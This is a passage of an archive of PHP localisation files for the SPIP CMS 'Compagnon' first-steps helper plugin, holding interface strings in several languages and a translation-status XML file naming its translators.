'c_accueil_bienvenue' => 'Добрый день @nom@ !',
'c_accueil_configurer_site' => 'Настроить сайт',
'c_accueil_configurer_site_texte' => 'Первое, что вы можете сделать - это изменить название вашего сайта.
Сейчас он называется « @nom@ ». Название показывается в правом верхнем углу страницы. Нажав на имя сайта, вы можете изменить его.
',
'c_accueil_publication' => 'Опубликовать !',
'c_accueil_publication_texte' => 'Для того, что бы сделать новую страницу сайта вам необходимо создать новую статью.
Так же необходимо, что бы у вас был минимум один раздел сайта. Если на сайте нет ни одного раздела мы можете создать его в нажав на пункт меню "Сайт-> Разделы" в верхней панели управления.',
'c_accueil_texte' => 'Вы только что вошли в систему управления вашими сайтом - CMS SPIP.',
'c_accueil_texte_revenir' => ' На этой странице отображаются последние изменения, которые были выполненный на сайте. В дальнейшем вы можете вернуться на эту страницу нажав на кнопку "Главная" в левом верхнем углу страницы.
Vous pouvez revenir sur cette page à tout instant en cliquant l’icône de maison,
sur la partie haute, sous votre nom.',
'c_article_redaction' => 'Статус статьи - "редактируется"',
'c_article_redaction_redacteur' => 'Статус статьи - "редактируется"',
'c_article_redaction_redacteur_texte' => 'Для того, что бы отправить статью на утверждение администратором(ами) сайта, измените статус статьи с "готовится" на "утверждается".
dans le cadre sur le côté, changez « en cours de rédaction » par « proposé à la publication ».',
'c_article_redaction_texte' => 'Что бы статья появилась на сайты вы должны изменить ее статус.
В левой колонке изменить статус статьи с « готовится » на « опубликована ».',
'c_articles_creer' => 'Как создать статью ?',
'c_articles_creer_texte' => 'Вы не можете создать статью на этой странице до тех пор, пока вы не создали хотя бы один раздел сайта. Что бы создать раздел наведите мышку на кнопку "Сайт" и выберете пункт меню "Разделы".
qu’à partir du moment où il existe une rubrique dans votre site.
Vous pouvez la créer depuis le menu « Édition », puis « Rubriques ».',
'c_job' => 'Список задач',
'c_job_texte' => 'На этой странице вы видите список задач, которые выполняет CMS SPIP. Некоторые задачи выполняются периодически, другие от случая к случаю - например отправка рассылки подписчикам.',
'c_rubrique_publier' => 'Создайте статью',
'c_rubrique_publier_texte' => 'Раздел появляется на сайте только тогда, когда он содержит минимум одну опубликованную статью. Если на вашем сайте в начале названия раздела указан номер, то это его номер по порядку при выводе на страницах сайта. В таком случае разделы без номера так же показываться не будут. Вы можете использовать эту особенность для того, что бы скрыть раздел.
Итак, создайте статью. Кнопка находится на этой странице под описанием раздела.',
'c_rubriques_creer' => 'Создайте первый раздел !',
'c_rubriques_creer_texte' => 'Разделы - это основа структуры сайта; вы можете создавать и хранить файлы в них. Попробуйте создать первый раздел.
Commencez par créer une première rubrique.',
// E
'explication_activer_compagnon' => '"Помощник" выводит специальные пояснения на некоторых страницах админки сайта для того, что бы пользователю было легче освоится. Вы хотите включить "Помощник"?',
'explication_reinitialiser_compagnon' => 'Подсказки, которые пользователь уже видел не будут показываться в дальнейшем.
Показать подсказки заново ?',
// L
'label_activer_compagnon' => 'Включить "Помощника" ?',
'label_reinitialiser_compagnon' => 'Показать заново подсказки "Помощника" ?',
// O
'ok' => 'OK',
'ok_bien' => 'ОК',
'ok_jai_compris' => 'Есть !',
'ok_merci' => 'Спасибо',
'ok_parfait' => 'Отлично !',
// R
'reinitialisation' => 'Показать заново подсказки',
'reinitialisation_ok' => 'Готово!',
'reinitialiser' => 'Сбросить',
'reinitialiser_moi' => 'Да, только для меня',
'reinitialiser_tous' => 'Да, для всех авторов',
// T
'titre_compagnon' => '"Помощник"',
'titre_page_configurer_compagnon' => 'Настройки "Помощника"'
);
?>
paquet-compagnon_sk.php 0000666 00000001033 15252575443 0011245 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'Compagnon ponúka pomoc používateľom
pri ich prvej návšteve v súkromnej zóne SPIPu.',
'compagnon_nom' => 'Compagnon',
'compagnon_slogan' => 'Sprievodca pri prvých krokoch so SPIPom'
);
?>
compagnon_fa.php 0000666 00000012012 15252575443 0007720 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'خوشامدي @nom@ !',
'c_accueil_configurer_site' => 'پيكربندي سايت',
'c_accueil_configurer_site_texte' => 'يكي از نخستين كارها انتخاب نام براي سايت است.
اسم سايت در حال حاضر «@nom@» است
اسم سايت هميشه بالاي اين صفحه نشان داده ميشود.
با كليك بالا، ميتوانيد نام سايت را اصلاح كنيد، اما همچنان يك لوگو و يك شعار به آن بدهيد. ',
'c_accueil_publication' => 'منتشر كنيد!',
'c_accueil_publication_texte' => 'براي انتشار يك صفحه، بايد يك مقاله ايجاد كنيد.
براي اين كار دست كم بايد يك بخش ايجاد كنيد. براي اين كار در منوي «ويرايش» روي «بخشها» كليك كنيد. ',
'c_accueil_texte' => 'وارد قسمت خصوصي اسپيپ شديد',
'c_accueil_texte_revenir' => 'اين صفحه فعاليت سردبيري اخير سايت را نشان ميدهد.
ميتوانيد با كليك كردن صورتك خانه در قسمت بالاي نام خود، هر لحظه به اين صفحه بازگرديد.
',
'c_article_redaction' => 'مقاله در دست نگارش است',
'c_article_redaction_redacteur' => 'مقالهي در دست ترجمه',
'c_article_redaction_redacteur_texte' => 'براي اريهي مقالههاي خود به مديران و به نويسندگان ديگر،
در داخل كادر كنار، عبارت «در دست نگارش» را به عبارت «براي انتشار» تغيير دهيد. ',
'c_article_redaction_texte' => 'براي انتشار اين مقاله در سايت همگاني، وضعيت آن بايد تغيير كند.
در چارگوش كنار، عبارت «در دست نگارش» را به «نشر آنلاين» تغيير دهيد. ',
'c_articles_creer' => 'چگونگي ايجاد يك مقاله؟',
'c_articles_creer_texte' => 'نميتوانيد از اين صفحه يك مقاله ايجاد كنيد مگر آنكه در سايت خود دست كم يك بخش داشته باشيد.
ميتوانيد آن را در «بخشها» در زير «ويرايش» ايجاد كنيد. ',
'c_job' => 'كارهاي آتي',
'c_job_texte' => 'اين صفحه وظايف نگهداري آتي را كه اسپيپ بايد اجراي كند فهرست ميكند. اين وظايف با فواصل منظم يا موردي با توجه به رفتارهاي سنگين درخواست شده از سوي پلاگينها، مانند ارسال انبوه ايميل، به اجرا در ميآيند. ',
'c_rubrique_publier' => 'يك مقاله ايجاد كنيد',
'c_rubrique_publier_texte' => 'يك بخش تا وقتي دست كم يك مطلب، مانند يك مقاله در آن منشر نشده باشد در سايت همگاني ديده نخواهد شد.
پس يك مقاله ايجاد كنيد.
اين مقاله را ميتوانيد از اين صفحه، زير توصيف بخش خود ايجاد نماييد. ',
'c_rubriques_creer' => 'نخستين بخش را ايجاد كنيد!',
'c_rubriques_creer_texte' => 'بخشها ساختار اساسي سايت هستند؛ شما ميتوانيد مقالهها را داخل هر يك از آنها ايجاد كنيد. با ايجاد نخستين بخش شروع كنيد. ',
// E
'explication_activer_compagnon' => '«همراه» در بعضي از صفحههاي قسمت شخصي نظراتي اضافه ميكند كه براي به خاطر سپردن اسپيپ كمك ميكنند. آيا مايليد همراه را فعال كنيد؟',
'explication_reinitialiser_compagnon' => 'پيامهايي كه كس ديگري آنها را قبلاً ديده ديگر نشان داده نميشوند.
آيا مايليد اين پيامها ريست (بازتنظيم) شوند؟
',
// L
'label_activer_compagnon' => 'فعالسازي «همراه»؟',
'label_reinitialiser_compagnon' => 'آيا پيامهاي «همراه» بازتنظيم شوند؟',
// O
'ok' => 'اوكي',
'ok_bien' => 'خوبه!',
'ok_jai_compris' => 'گرفتم!',
'ok_merci' => 'مرسي',
'ok_parfait' => 'كامل',
// R
'reinitialisation' => 'نصب مجدد',
'reinitialisation_ok' => 'نصب مجدد انجام شدته',
'reinitialiser' => 'بازتنظيم',
'reinitialiser_moi' => 'بله، فقط آنها كه پيشتر خواندهام',
'reinitialiser_tous' => 'بله، بيتوجه به ديگري',
// T
'titre_compagnon' => 'همراه',
'titre_page_configurer_compagnon' => 'پيكربندي «همراه».'
);
?>
compagnon_fr_fem.php 0000666 00000010070 15252575443 0010572 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Bienvenue @nom@ !',
'c_accueil_configurer_site' => 'Configurer votre site',
'c_accueil_configurer_site_texte' => 'Une des premières choses à faire est de donner un nom à votre site.
Il se nomme actuellement « @nom@ ». Le nom du site est affiché tout en haut de cette page.
En cliquant dessus, vous pourrez modifier son nom, mais aussi lui donner un logo et un slogan.',
'c_accueil_publication' => 'Publiez !',
'c_accueil_publication_texte' => 'Pour publier une page, il vous faudra créer un article.
Il est nécessaire pour cela de créer au moins une rubrique. Vous pouvez le faire dans le menu « Édition » en cliquant « Rubriques ».',
'c_accueil_texte' => 'Vous venez d’entrer dans l’espace privé de SPIP.',
'c_accueil_texte_revenir' => ' Cette page présente l’activité éditoriale récente sur votre site.
Vous pouvez revenir sur cette page à tout instant en cliquant l’icône de maison,
sur la partie haute, sous votre nom.',
'c_article_redaction' => 'L’article est en cours de rédaction',
'c_article_redaction_redacteur' => 'L’article est en cours de rédaction',
'c_article_redaction_redacteur_texte' => 'Pour proposer votre article aux administratrices du site et aux autres rédactrices,
dans le cadre sur le côté, changez « en cours de rédaction » par « proposé à la publication ».',
'c_article_redaction_texte' => 'Pour publier cet article sur le site public, il faut changer son statut.
Dans le cadre sur le côté, changez « en cours de rédaction » par « publié en ligne ».',
'c_articles_creer' => 'Comment créer un article ?',
'c_articles_creer_texte' => 'Vous ne pourrez créer un article depuis cette page
qu’à partir du moment où il existe une rubrique dans votre site.
Vous pouvez la créer depuis le menu « Édition », puis « Rubriques ».',
'c_job' => 'Les travaux à faire…',
'c_job_texte' => 'Cette page liste les prochaines tâches de maintenance
que doit effectuer SPIP. Ces tâches sont exécutées à intervalle régulier
ou ponctuellement pour des traitements lourds demandés par des plugins,
tel que l’envoi d’email en masse.',
'c_rubrique_publier' => 'Créez un article',
'c_rubrique_publier_texte' => 'Une rubrique n’est visible sur le site public
qu’à partir du moment où elle contient au moins un contenu publié ; par exemple : un article publié.
Créez donc un article. Vous pouvez le faire depuis cette page, sous le descriptif de votre rubrique.',
'c_rubriques_creer' => 'Créez une première rubrique !',
'c_rubriques_creer_texte' => 'Les rubriques sont la structure de base du site ; vous pourrez créer des articles dans chacune d’entre elles.
Commencez par créer une première rubrique.',
// E
'explication_activer_compagnon' => 'Le compagnon ajoute des commentaires sur certaines pages
de l’espace privé pour aider à prendre SPIP en main. Souhaitez-vous l’activer ?',
'explication_reinitialiser_compagnon' => 'Les messages déjà vus par une auteure ne sont plus affichés ensuite.
Souhaitez-vous réinitialiser ces messages ?',
// L
'label_activer_compagnon' => 'Activer le compagnon ?',
'label_reinitialiser_compagnon' => 'Réinitialiser les messages du compagnon ?',
// O
'ok' => 'OK',
'ok_bien' => 'Bien !',
'ok_jai_compris' => 'J’ai compris !',
'ok_merci' => 'Merci',
'ok_parfait' => 'Parfait !',
// R
'reinitialisation' => 'Réinitialisation',
'reinitialisation_ok' => 'La réinitialisation est effectuée.',
'reinitialiser' => 'Réinitialiser',
'reinitialiser_moi' => 'Oui, uniquement ceux que j’ai déjà lu',
'reinitialiser_tous' => 'Oui, quelle que soit l’auteure',
// T
'titre_compagnon' => 'Le Compagnon',
'titre_page_configurer_compagnon' => 'Configurer le Compagnon'
);
?>
compagnon_de.php 0000666 00000007723 15252575443 0007737 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Willkommen @nom@ !',
'c_accueil_configurer_site' => 'Ihre Website konfigurieren',
'c_accueil_configurer_site_texte' => 'Vor allem Anderen sollten Sie Ihrer Website einen Namen geben.
Zur Zeit heißt sie « @nom@ ». Der Name der Site wird oben auf dieser Seite angezeigt.
Wenn ihn anklicken, können Sie ihn ändern oder ihn mit einem Logo und einem Slogan ergänzen.',
'c_accueil_publication' => 'Veröffentlichen!',
'c_accueil_publication_texte' => 'Um eine neue Seite zu veröffentlichen, benötigen Sie einen Artikel.
Dazu müssen Sie zuvor mindestens eine Rubrik anlegen. Sie können das im Menü « Redaktion » machen, indem Sie auf « Rubriken » klicken.',
'c_accueil_texte' => 'Sie befinden sich jetzt im Redaktionsbereich von SPIP.',
'c_accueil_texte_revenir' => ' Diese Seite gibt Ihnen einen Überblick über die Veröffentlichungsaktivität auf Ihrer Website.
Sie können sie jederzeit wieder öffnen, indem Sie auf das Haus-Symbol links oben direkt unter
Ihrem Namen klicken.',
'c_article_redaction' => 'Der Artikel ist in Bearbeitung.',
'c_article_redaction_redacteur' => 'Der Artikel befindet sich in Bearbeitung.',
'c_article_redaction_redacteur_texte' => 'Um Ihren Artikel den Admins und Redakteuren vor der Veröffentlichung vorzulegen,
ändern Sie im Kasten links auf der Seite « in Bearbeitung » nach « vorgeschlagen ».',
'c_article_redaction_texte' => 'Um diesen Artikel zu veröffentlichen, müssen Sie seinen Status ändern. Ändern Sie dazu im Kasten links «in Bearbeitung» zu «veröffentlicht».',
'c_articles_creer' => 'Wie werden Artikel erstellt?',
'c_articles_creer_texte' => 'Sie können auf dieser Seite nur Artikel erstellen, wenn Ihre Website mindestens eine Rubrik enthält. Sie können eine über den Menüpunkt « Redaktion» im Unterbereich « Rubriken» anlegen.',
'c_job' => 'Anstehende Aufgaben',
'c_job_texte' => 'Diese Seite zeigt Wartungsaufgaben, die SPIP regelmäßig erledigen muß. Diese Aufgaben erledigt SPIP entweder automatisch in bestimmten Abständen oder auf besondere Anforderung durch Plugins, etwa um einen Massenversand von Mails zu erledigen.',
'c_rubrique_publier' => 'Legen Sie einen Artikel an.',
'c_rubrique_publier_texte' => 'Rubriken werden auf den öffentlichen Seiten nur angezeigt, wenn sie Inhalte enthalten, etwa einen veröffentlichten Artikel.#
Legen Sie einen Artikel an. Sie können das auf dieser Seite unterhalb der Beschreibung der Rubrik machen.',
'c_rubriques_creer' => 'Legen Sie eine erste Rubrik an!',
'c_rubriques_creer_texte' => 'Die Website setzt sich aus Rubriken zusammen. Artikel legen sie innerhalb der Rubriken an.
Beginnen Sie, indem Sie eine erste Rubrik anlegen.',
// E
'explication_activer_compagnon' => 'Der Begleiter fügt manchen internen Seiten von SPIP Erläuterungen
hinzu, um Sie bei der Nutzung von SPIP zu unterstützen.
Möchten sie ihn aktivieren ?',
'explication_reinitialiser_compagnon' => 'Bereits gelesene Meldungen werden nicht erneut angezeigt.
Möchten Sie diese Meldungen zurücksetzen?',
// L
'label_activer_compagnon' => 'Begleiter aktivieren?',
'label_reinitialiser_compagnon' => 'Meldungen des Begleiters zurücksetzen?',
// O
'ok' => 'OK',
'ok_bien' => 'Gut!',
'ok_jai_compris' => 'Verstanden!',
'ok_merci' => 'Danke',
'ok_parfait' => 'Toll!',
// R
'reinitialisation' => 'Zurücksetzen',
'reinitialisation_ok' => 'Das Zurücksetzen wurde ausgeführt.',
'reinitialiser' => 'Zurücksetzen',
'reinitialiser_moi' => 'Ja, für bereits gelesene.',
'reinitialiser_tous' => 'Ja, für alle Autoren',
// T
'titre_compagnon' => 'Begleiter',
'titre_page_configurer_compagnon' => 'Einstellungen des Begleiters'
);
?>
paquet-compagnon_en.php 0000666 00000001016 15252575443 0011233 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'The companion provides assistance to users
during their first visit to the backoffice of SPIP.',
'compagnon_nom' => 'Companion',
'compagnon_slogan' => 'First steps wizard with SPIP'
);
?>
paquet-compagnon_ar.php 0000666 00000001175 15252575443 0011241 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'يقدم الرفيق مساعدة للمستخدمين
لدى أول زيارة لهم الى المجال الخاص في SPIP.',
'compagnon_nom' => 'الرفيق',
'compagnon_slogan' => 'مرافق الخطوات الأولى في SPIP' # مرافق الخطوات الأولى في SPIP
);
?>
paquet-compagnon_fa.php 0000666 00000001122 15252575443 0011215 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'همراه به كاربران در جريان نخستين ازديدشان از قسمت خصوصي اسپيپ كمك ارايه ميكند. ',
'compagnon_nom' => 'همراه ',
'compagnon_slogan' => 'همراه اول با اسپيپ نيست'
);
?>
compagnon_sk.php 0000666 00000007356 15252575443 0007766 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Vitajte, @nom@!',
'c_accueil_configurer_site' => 'Nastaviť si stránku',
'c_accueil_configurer_site_texte' => 'Jednou z prvých vecí, ktoré treba urobiť, je dať stránke názov.
Momentálne má názov "@nom@". Názov stránky sa zobrazuje v hornej časti tejto stránky.
Kliknutím môžete zmeniť jej názov a tiež pridať logo a slogan.',
'c_accueil_publication' => 'Publikujte!',
'c_accueil_publication_texte' => 'Na publikovanie stránky musíte vytvoriť článok.
Môžete to urobiť v menu "Upraviť stránku" kliknutím na "Rubriky".',
'c_accueil_texte' => 'Práve ste sa dostali do súkromnej zóny SPIPu.',
'c_accueil_texte_revenir' => ' Táto stránka uvádza najnovšiu redakčnú aktivitu na vašej stránke.
Na túto stránku sa môžete kedykoľvek vrátiť kliknutím na ikonu domčeka
na vrchu pod svojím menom.',
'c_article_redaction' => 'Článok sa upravuje',
'c_article_redaction_redacteur' => 'Článok sa upravuje',
'c_article_redaction_redacteur_texte' => 'Na to, aby bol váš článok odoslaný administrátorom stránky a iným redaktorom,
v ráme na boku zmeňte stav "upravuje sa" na "odoslaný na schválenie".',
'c_article_redaction_texte' => 'Zmeňte stav spracovania článku, aby bol jeho text publikovaný na verejne prístupnej stránke.
V ráme na boku zmeňte stav "upravuje sa" na "publikovaný online".',
'c_articles_creer' => 'Vytvoriť komentár k článku?',
'c_articles_creer_texte' => 'Vytvoriť článok môžete na tejto stránke, iba ak
na vašej stránke existuje aspoň jedna rubrika.
Môžete ho vytvoriť pomocou menu "Upraviť", potom "Rubriky".',
'c_job' => 'Čo treba urobiť…',
'c_job_texte' => 'Na tejto stránke sú uvedené nabližšie úlohy údržby,
ktoré SPIP musí vykonať. Tieto úlohy sa vykonávajú v pravidelných intervaloch
alebo presne na spracovanie veľkých požiadaviek zásuvných modulov,
ako odoslanie hromadných e-mailov.',
'c_rubrique_publier' => 'Vytvorte článok',
'c_rubrique_publier_texte' => 'Rubrika je publikovaná, keď
sa v nej nachádza aspoň jeden publikovaný text. Napríklad publikovaný článok.
Takže vytvorte článok. Môžete to urobiť na tejto stránke pod opisom svojej rubriky.',
'c_rubriques_creer' => 'Vytvorte prvú rubriku!',
'c_rubriques_creer_texte' => 'Rubriky tvoria základnú štruktúru stránky.
V každej z nich môžete vytvárať články.
Začnite vytvárať prvú rubriku.',
// E
'explication_activer_compagnon' => 'Asistent pridáva komentáre na niektoré stránky
súkromnej zóny, aby vám pomohol s ovládaním SPIPu. Chcete ho aktivovať?',
'explication_reinitialiser_compagnon' => 'Správy, ktoré autor videl, sa už viac nezobrazujú. Chcete obnoviť tieto správy?',
// L
'label_activer_compagnon' => 'Aktivovať Sprievodcu?',
'label_reinitialiser_compagnon' => 'Obnoviť správy zo Sprievodcu?',
// O
'ok' => 'OK',
'ok_bien' => 'Dobre!',
'ok_jai_compris' => 'Porozumel(a) som!',
'ok_merci' => 'Ďakujem',
'ok_parfait' => 'Dokonalé!',
// R
'reinitialisation' => 'Obnovenie',
'reinitialisation_ok' => 'Vykonáva sa obnovenie.',
'reinitialiser' => 'Obnoviť',
'reinitialiser_moi' => 'Áno, len tie, ktoré som už prečítal(a)',
'reinitialiser_tous' => 'Áno, nech je autor ktokoľvek',
// T
'titre_compagnon' => 'Sprievodca',
'titre_page_configurer_compagnon' => 'Nastaviť Sprievodcu'
);
?>
paquet-compagnon_lb.php 0000666 00000001026 15252575443 0011227 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'De Compagnon bitt de Benotzer Hëllef beim éischte Benotze vum privaten Deel vu SPIP.',
'compagnon_nom' => 'Compagnon',
'compagnon_slogan' => 'Assistent fir déi éischt Schrëtt mat SPIP'
);
?>
paquet-compagnon_ru.php 0000666 00000001200 15252575443 0011252 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'Плагин выводит справку о системе управления при первом входе пользователя в админку.',
'compagnon_nom' => 'Помощник (Companion)',
'compagnon_slogan' => 'Начальная помощь при работе со SPIP'
);
?>
compagnon_nl.php 0000666 00000007662 15252575443 0007762 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Welkom @nom@ !',
'c_accueil_configurer_site' => 'Je site configureren',
'c_accueil_configurer_site_texte' => 'Om te beginnen moet je je site een naam geven.
Momenteel is het « @nom@ » genoemd. De naam van het site wordt op het top van dit pagina aangeduid.
Klik erop om zijn naam te veranderen maar ook om er een logo en een slogan bij te geven.',
'c_accueil_publication' => 'Publiceer !',
'c_accueil_publication_texte' => 'Om een pagina te publiceren moet je een artikel scheppen.
Hiervoor moet je tenminste een rubriek aanmaken. Je mag dat doen in het « Uitgave » menu door op « Rubrieken » te klikken.',
'c_accueil_texte' => 'Je bent pas in het privé-ruimte van SPIP binnengekomen.',
'c_accueil_texte_revenir' => ' Deze pagina wijst je het laatste editoriaal activiteit op je site aan.
Je kan hier altijd terugkomen door op het huisje te klikken die zich aan de bovenkant
juist onder je naam bevindt.',
'c_article_redaction' => 'De redactie van het artikel is aan de gang.',
'c_article_redaction_redacteur' => 'De redactie van het artikel is aan de gang.',
'c_article_redaction_redacteur_texte' => 'Om je artikel aan de sitebeheerders en aan de anderen redacteurs voor te stellen,
klik op « in redactie » in het bijliggende kader en selecteer dan « voorgesteld voor evaluatie » (+ Wijzigen).',
'c_article_redaction_texte' => 'Om het artikel op het publiek site te publiceren moet zijn statuut veranderd worden.
In het bijliggende kader, wijzig « in redactie » naar « inline geplaatst ».',
'c_articles_creer' => 'Hoe een artikel aanmaken ?',
'c_articles_creer_texte' => 'Je zal een artikel vanaf dit pagina kunnen aanmaken
zodra je site tenminste een rubriek zal bevatten.
Maak een rubriek aan vanaf het « Uitgave » menu, klik daar op « Rubrieken ».',
'c_job' => 'Het lijst van werken',
'c_job_texte' => 'Op deze pagina vind je het lijst van de volgende onderhoudstaken van SPIP.
De taken worden op regelmatige termijnen uitgevoerd of af en toe voor zwaardere onderhandelingen gevraagd door plugins, zoals het massa uitzenden van e-mails.',
'c_rubrique_publier' => 'Maak een artikel aan',
'c_rubrique_publier_texte' => 'Een rubriek wordt maar op het publiek site zichtbaar op het moment waar ze tenminste een gepubliceerde element bevat. Bijvoorbeeld een gepubliceerde artikel.
Maak dus een artikel aan. Dit mag je vanaf hier beginnen, onder de beschrijving van het rubriek.',
'c_rubriques_creer' => 'Maak een eerste rubriek aan !',
'c_rubriques_creer_texte' => 'De rubrieken vormen het basisstructuur van je site. In ieder rubriek kan je artikels aanmaken.
Begin met het aanmaken van een eerste rubriek.',
// E
'explication_activer_compagnon' => 'De metgezel geeft raden op enkele paginas van het privé-ruimte om aan het in hand nemen van SPIP te helpen. Wil je de metzegel activeren ?',
'explication_reinitialiser_compagnon' => 'De boodschappen al gelezen door een auteur worden daarna niet meer getoond.
Wil je die boodschappen resetten ?',
// L
'label_activer_compagnon' => 'De metgezel activeren ?',
'label_reinitialiser_compagnon' => 'De boodschappen van de metgezel resetten ?',
// O
'ok' => 'OK',
'ok_bien' => 'Goed !',
'ok_jai_compris' => 'Ik heb begrepen !',
'ok_merci' => 'Dank je',
'ok_parfait' => 'Prima !',
// R
'reinitialisation' => 'Reset',
'reinitialisation_ok' => 'De reset is gedaan.',
'reinitialiser' => 'Resetten',
'reinitialiser_moi' => 'Ja, alleen die dat ik al gelezen heb.',
'reinitialiser_tous' => 'Ja, voor alle auteurs.',
// T
'titre_compagnon' => 'De Metgezel',
'titre_page_configurer_compagnon' => 'De Metgezel configureren'
);
?>
compagnon.xml 0000666 00000011053 15252575443 0007267 0 ustar 00 <traduction module="compagnon" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/compagnon/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=ar" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="ca" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=ca" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Jaime Mullol García" lien="http://trad.spip.net/auteur/jaime-mullol-garcia" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=de" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=en" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="Loiseau2nuit" lien="http://trad.spip.net/auteur/loiseau2nuit" />
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=eo" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=es" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=fa" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=fr" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=fr_fem" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="fr_tu" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=fr_tu" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=it" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=lb" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
